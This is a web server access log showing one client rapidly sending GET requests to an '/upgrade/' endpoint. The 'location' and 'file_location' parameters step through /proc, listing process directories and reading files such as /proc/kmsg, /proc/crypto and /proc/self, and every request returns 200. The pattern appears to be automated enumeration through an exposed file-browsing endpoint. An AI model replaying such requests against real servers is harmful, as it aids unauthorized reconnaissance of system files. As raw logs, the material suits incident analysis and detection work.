45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F195 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F195" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F487 HTTP/1.1" 200 9071 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F487" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F178 HTTP/1.1" 200 8925 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F178" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fbootconfig&location=%2Fproc%2F HTTP/1.1" 200 27754 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fbootconfig&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F114 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F114" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F142 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F142" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F247 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F247" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F2474645 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2474645" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F252 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F252" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F7 HTTP/1.1" 200 9046 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F168 HTTP/1.1" 200 9058 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F168" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:35 -0400] "GET /upgrade/?location=%2Fproc%2F609 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F609" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F2426716 HTTP/1.1" 200 9064 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2426716" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F2476982 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476982" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F694 HTTP/1.1" 200 9071 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F694" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F1215 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1215" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F122 HTTP/1.1" 200 9053 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F122" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F2262295 HTTP/1.1" 200 9085 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2262295" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F2476088 HTTP/1.1" 200 6453 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476088" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F132 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F132" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F144 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F144" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F1641524 HTTP/1.1" 200 9096 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641524" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F54 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F54" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2Fnet HTTP/1.1" 200 8913 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Fnet" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fslabinfo&location=%2Fproc%2F HTTP/1.1" 200 27562 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fslabinfo&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F153 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F153" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F210 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F210" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:36 -0400] "GET /upgrade/?location=%2Fproc%2F2476238 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2476238" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F2477325 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477325" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F2472918 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2472918" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F2477338 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477338" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F596 HTTP/1.1" 200 9070 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F596" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fsoftirqs&location=%2Fproc%2F HTTP/1.1" 200 29386 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fsoftirqs&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F192 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F192" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F2471964 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2471964" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F2477077 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477077" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F308 HTTP/1.1" 200 8965 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F308" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F3841831 HTTP/1.1" 200 9201 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F3841831" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F496 HTTP/1.1" 200 9040 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F496" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:37 -0400] "GET /upgrade/?location=%2Fproc%2F141 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F141" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F16 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F16" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F253 HTTP/1.1" 200 9035 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F253" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F489 HTTP/1.1" 200 9071 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F489" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F704 HTTP/1.1" 200 9007 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F704" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fcrypto&location=%2Fproc%2F HTTP/1.1" 200 29862 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fcrypto&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F1204 HTTP/1.1" 200 9132 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1204" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F2443537 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2443537" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F2470278 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2470278" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F503 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F503" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F698 HTTP/1.1" 200 9069 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F698" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F708 HTTP/1.1" 200 9070 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F708" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F83 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F83" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F&option=file HTTP/1.1" 200 28177 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F&option=file" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:38 -0400] "GET /upgrade/?location=%2Fproc%2F1172 HTTP/1.1" 200 9133 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1172" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F147 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F147" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F190 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F190" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F196 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F196" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F2438610 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2438610" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F45 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F45" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F5 HTTP/1.1" 200 9045 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fmdstat&location=%2Fproc%2F HTTP/1.1" 200 27847 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fmdstat&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F177 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F177" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F17 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F17" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F207 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F207" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F2432743 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2432743" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F244 HTTP/1.1" 200 9057 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F244" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:39 -0400] "GET /upgrade/?location=%2Fproc%2F38 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F38" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F39 HTTP/1.1" 200 9083 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F39" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F2477414 HTTP/1.1" 200 6469 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2477414" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F31 HTTP/1.1" 200 9081 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F31" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F36 HTTP/1.1" 200 9082 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F36" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F610 HTTP/1.1" 200 9068 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F610" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2Facpi HTTP/1.1" 200 6076 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Facpi" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F1094 HTTP/1.1" 200 9126 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1094" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F120 HTTP/1.1" 200 9054 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F120" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F242 HTTP/1.1" 200 9055 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F242" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F2463804 HTTP/1.1" 200 6470 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F2463804" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2Fself HTTP/1.1" 200 9282 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2Fself" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?file_location=%2Fproc%2F%2Fkmsg&location=%2Fproc%2F HTTP/1.1" 200 27820 "http://163.245.207.76:443/upgrade/?file_location=%2Fproc%2F%2Fkmsg&location=%2Fproc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F1582610 HTTP/1.1" 200 9157 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1582610" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:40 -0400] "GET /upgrade/?location=%2Fproc%2F1641528 HTTP/1.1" 200 8960 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1641528" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:41 -0400] "GET /upgrade/?location=%2Fproc%2F1647322 HTTP/1.1" 200 9061 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F1647322" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:04:41 -0400] "GET /upgrade/?location=%2Fproc%2F174 HTTP/1.1" 200 9056 "http://163.245.207.76:443/upgrade/?location=%2Fproc%2F174" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
